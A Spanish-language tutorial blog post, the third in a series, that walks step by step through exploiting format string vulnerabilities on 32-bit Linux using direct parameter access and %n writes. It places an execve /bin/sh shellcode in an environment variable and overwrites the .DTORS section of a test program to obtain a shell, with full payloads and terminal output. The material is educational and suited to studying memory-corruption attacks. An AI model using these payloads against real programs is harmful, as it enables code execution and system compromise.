Format String Attack III de III



Seguimos con la serie de entradas dedicadas a la técnica Format String Attack

Direct Parameter Access (DPA)


En las entradas anteriores hemos podido comprobar como para explotar este tipo de vulnerabilidades necesitabamos introducir un número secuencial de parámetros de formato como %x acompañados de palabras de 4 bytes para conseguir de forma exitosa sobreescribir una dirección de memoria en una zona arbitraria de la memoria.

Con el DPA conseguimos simplificar todo este trabajo y tener acceso a la dirección de forma directa usando el signo del dólar '$'. Usemos el siguiente código de ejemplo

sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ gcc -o dpa-poc dpa-poc.c
sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./dpa-poc

Sexta posición: 6

Si antes necesitabamos acceder al dato en el duodécimo offset, usando para ello "%x" doce veces, ahora podemos obtener lo mismo usando para ello:

sebas@Penetraitor:~/roote/Universidad/PFC/wiki/tutoriales/string-attack$ ./fst_example BBBB%12\$x

Correcto:
BBBB%12$x
Incorrecto:
BBBB42424242

Además también conseguimos simplificar el proceso de escritura en las direcciones de memoria, puesto que al poder ser accedida directamente, no hay necesidad de usar esos 4 bytes separadores innecesarios para aumentar el contador de bytes.

Para ejemplificar todo esto un poco más y exponer ejemplos más cercanos, vamos a tratar de escribir alguna dirección de memoria de alguna variable de entorno que tenga por contenido una shellcode basándonos para ello la ténica de DPA.

sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ export SHELLCODE=`perl -e 'print "\x90"x50,"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

Localicemos su posición exacta:

sebas@Penetraitor:~/roote/Universidad/PFC/wiki/tutoriales/string-attack$ ./getenvaddr SHELLCODE

SHELLCODE está localizada en 0xbffff5e0

Ejecutando gdb para obtener información adicional:

sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ gdb ./fst_example -q
(gdb) break main
Breakpoint 1 at 0x08048382
(gdb) run
Starting program: /home/roote/Universidad/PFC/wiki/tutoriales/string-attack

Breakpoint 1, 0x08048382 in main ()
Current language: auto; currently asm
(gdb) x/s 0xbffff5e0
0xbffff5e0: ".gpg-agent:3824:1"
(gdb) x/s 0xbffff5e0+18
0xbffff5f2: "SHELLCODE=", '\220' , "1�Ph//shh/bin\211�PS\211�\231�\v�\200"
(gdb) x/s 0xbffff5e0+43
0xbffff60b: '\220' , "1�Ph//shh/bin\211�PS\211�\231�\v�\200"

Ya sabemos que nuestra shellcode está en la dirección 0xbffff60b y que:
  • Primero: 0xe0 - [ Valor del offset ]
  • Segundo: 0xf5 - 0xe0
  • Tercero: 0xff - 0xf5
  • Cuarto: 0xbf - 0xff

El buffer de direcciones que debemos escribir es:

"\x48\x96\x04\x08\x49\x96\x04\x08\x4a\x96\x04\x08\x4b\x96\x04\x08"

Para hacernos una idea de cómo nuestro ataque utiliza el direct parameter access podemos echarle un vistazo a esto:

  • Primero escribe: %[offset]$[valor]x%[offset]$n
  • Segundo escribe: %[offset]$[valor]x%[offset+1]$n
  • Tercero escribe: %[offset]$[valor]x%[offset+2]$n
  • Cuarto escribe: %[offset]$[valor]x%[offset+3]$n

Ahora tratemos de escribir 0xe0 en la primera direccion del buffer

sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf
"\x48\x96\x04\x08\x49\x96\x04\x08\x4a\x96\x04\x08\x4b\x96\x04\x08"`%12\$x%12\$n

Correcto:
H�I�J�K�%12$x%12$n
Incorrecto:
H�I�J�K�8049648
(-) Valor @ 0x08049648 = 23 0x00000017

Calculamos el desplazamiento:

>>> 0xe0-16
208

sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf
"\x48\x96\x04\x08\x49\x96\x04\x08\x4a\x96\x04\x08\x4b\x96\x04\x08"`%12\$208x%12\$n

Correcto:
H�I�J�K�%12$208x%12$n
Incorrecto:
H�I�J�K� 8049648
(-) Valor @ 0x08049648 = 224 0x000000e0

El hecho de decrementar el valor en 16 bytes es debido a que es la distancia respecto a la primera dirección introducida.

>>> 0xf5-0xe0
21

Ahora escribamos 0xf5 en la segunda dirección del buffer

>>> 0xf5-0xe0
21

sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf
"\x48\x96\x04\x08\x49\x96\x04\x08\x4a\x96\x04\x08\x4b\x96\x04\x08"
`%12\$208x%12\$n%12\$21x%13\$n

Correcto:
H�I�J�K�%12$208x%12$n%12$21x%13$n
Incorrecto:
H�I�J�K� 8049648 8049648
(-) Valor @ 0x08049648 = 62944 0x0000f5e0

La siguiente dirección del buffer será sobreescrita por 0xff:

>>> 0xff-0xf5
10

sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf
"\x48\x96\x04\x08\x49\x96\x04\x08\x4a\x96\x04\x08\x4b\x96\x04\x08"
`%12\$208x%12\$n%12\$21x%13\$n%12\$10x%14\$n

Correcto:
H�I�J�K�%12$208x%12$n%12$21x%13$n%12$10x%14$n
Incorrecto:
H�I�J�K� 8049648 8049648 8049648
(-) Valor @ 0x08049648 = 16774624 0x00fff5e0

Como podéis ver el offset que delimita el final del rango del buffer a sobreescribir, por cada contenido que deseamos añadir es aumentado en uno.

NOTA: Para la operación 0xff-0xf5 el valor obtenido ha sido 10, si al realizar este cálculo obtenemos un número inferior a 8, sería necesario añadir 1 al principio del byte, es decir: 0x1ff-0xf5, pero en este caso no es necesario.

Por último escribamos 0xbf en la cuarta dirección del buffer:

>>> 0xbf-0xff
-64

Aplicando el consejo que hemos comentado antes, obtenemos el resultado correcto a partir de:

>>> 0x1bf-0xff
192

sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf
"\x48\x96\x04\x08\x49\x96\x04\x08\x4a\x96\x04\x08\x4b\x96\x04\x08"
`%12\$208x%12\$n%12\$21x%13\$n%12\$10x%14\$n%12\$192x%15\$n

Correcto:
H�I�J�K�%12$208x%12$n%12$21x%13$n%12$10x%14$n%12$192x%15$n
Incorrecto:
H�I�J�K� 8049648 8049648 8049648 8049648
(-) Valor @ 0x08049648 = -1073744416 0xbffff5e0

Con esto llegamos a la conclución de que la dirección de la shellcode ha sido escrita correctamente en la dirección de la variable.

Sobreescribiendo las zonas .DTORS


Cuando hablamos de clases y la instancia de objetos respecto a estas, debemos distinguir dos procesos comúnes y estrechamente ligados entre sí, el hecho de llamar al constructor de la clase para reservar un espacio de direcciones donde albergar el objeto, y el destructor utilizado para liberar la zona de memoria ocupada por nuestro objeto una vez el cometido de nuestra aplicación
finaliza.

Así podemos distinguir en nuestro ELF (entre otras) una sección llamada .CTORS encargada de mantener información referente a los punteros de los constructores, y otra llamada .DTORS con información sobre los punteros de los destructores.

Por ahora basta con saber esto y que los constructores son lanzadas antes de que nuestro programa ejecute la función main, y que los destructores se ejecutan inmediantemente después de que finalice con una llamada de salida al sistema. Nosotros en especial, vamos a centrarnos en la sección .DTORS.

El motivo de esto, es debido a que la sección .DTORS puede ser sobreescrita, por tanto podemos redirigir el flujo de ejecución de nuestra aplicación a la dirección que nosotros indiquemos una vez termine su ejecución, así obligaríamos por ejemplo a que se ejecutara nuestra shellcode.

Veamos todo esto con pequeños ejemplos que nos clarifiquen un poco estos conceptos (código fuente)

sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ gcc -o dtors_poc dtors_poc.c

sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./dtors_poc

Traza 1 - Dentro de la función construir atribuida al constructor.
Traza 2 - Dentro de la función main.
Traza 3 - Dentro de la función destruir atribuida al destructor.

Ahora vamos a utilizar el comando objdump para examinar las distintas secciones y en nm para encontrar las direcciones de memoria donde están ubicadas nuestras funciones:

sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ nm ./dtors_poc

08049f20 d _DYNAMIC
08049ff4 d _GLOBAL_OFFSET_TABLE_
080484dc R _IO_stdin_used
w _Jv_RegisterClasses
08049f0c d __CTOR_END__
08049f04 d __CTOR_LIST__
08049f18 D __DTOR_END__
08049f10 d __DTOR_LIST__
08048590 r __FRAME_END__
08049f1c d __JCR_END__
08049f1c d __JCR_LIST__
0804a014 A __bss_start
0804a00c D __data_start
08048490 t __do_global_ctors_aux
08048340 t __do_global_dtors_aux
0804a010 D __dso_handle
w __gmon_start__
0804848a T __i686.get_pc_thunk.bx
08049f04 d __init_array_end
08049f04 d __init_array_start
08048420 T __libc_csu_fini
08048430 T __libc_csu_init
U __libc_start_main@@GLIBC_2.0
0804a014 A _edata
0804a01c A _end
080484bc T _fini
080484d8 R _fp_hw
08048294 T _init
08048310 T _start
0804a014 b completed.6635
080483c4 t construir
0804a00c W data_start
080483fe t destruir
0804a018 b dtor_idx.6637
080483a0 t frame_dummy
080483d8 T main
U puts@@GLIBC_2.0

El comando objdump vamos a pasarlo con las opciones:
  • j - Mostramos solo información para la sección que indiquemos, en nuestro caso será la sección .dtors.
  • s - Indicamos que deseamos obtener toda la información posible sobre las secciones indicadas.

sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ objdump -s -j .dtors ./dtors_poc

./dtors_poc: file format elf32-i386

Contents of section .dtors:
8049f10 ffffffff fe830408 00000000 ............

Como comentábamos al principio, si hacemos un objdump a las cabeceras de sección, observaremos que la sección .DTORS no está etiquetada como sólo lectura (READONLY), para esto nos apoyaremos en la opción -h encargada de mostrarnos la información albergada en las cabeceras de las distintas secciones que componen nuestro fichero objeto.

sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ objdump -h ./dtors_poc
...
4 .dynsym 00000050 080481b0 080481b0 000001b0 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
...
17 .dtors 0000000c 08049f10 08049f10 00000f10 2**2
CONTENTS, ALLOC, LOAD, DATA

Al principio de tratar esta sección hablábamos sobre la posibilidad de sobreescribir una dirección de memoria y encauzar el flujo de ejecución de nuestra aplicación hacia esa dirección, de esta forma comentábamos que se podría ejecutar nuestra shellcode, aprendamos cómo hacerlo, pero antes debemos escribir el siguiente format string con DPA tal y como indicamos en la apartado anterior:

"%12\$208x%12\$n%12\$21x%13\$n%12\$10x%14\$n%12\$192x%15\$n"

Con esto escribiremos en la dirección 0xbffff5e0, que apunta a nuestra shellcode a través de la variable "valor".

El siguiente paso será construir nuestro buffer con las direcciones a ser escritas, para este ejemplo un buen comienzo podría ser la dirección donde está contenido el buffer de la sección .DTORS:

sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ nm ./fst_example | grep DTOR

0804954c d __DTOR_END__
08049548 d __DTOR_LIST__

Quedando el buffer:

"\x4c\x95\x04\x08\x4d\x95\x04\x08\x4e\x95\x04\x08\x4f\x95\x04\x08"

Comprobemos si funciona:

sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf
"\x4c\x95\x04\x08\x4d\x95\x04\x08\x4e\x95\x04\x08\x4f\x95\x04\x08"
`%12\$208x%12\$n%12\$21x%13\$n%12\$10x%14\$n%12\$192x%15\$n

Correcto:
L�M�N�O�%12$208x%12$n%12$21x%13$n%12$10x%14$n%12$192x%15$n
Incorrecto:
L�M�N�O� 804954c 804954c 804954c 804954c
(-) Valor @ 0x08049648 = 50 0x00000032

sh-2.05b$

Listo, hemos conseguido sobreescribir correctamente nuestra sección .DTORS y ejecutar nuestra shellcode.

Comentarios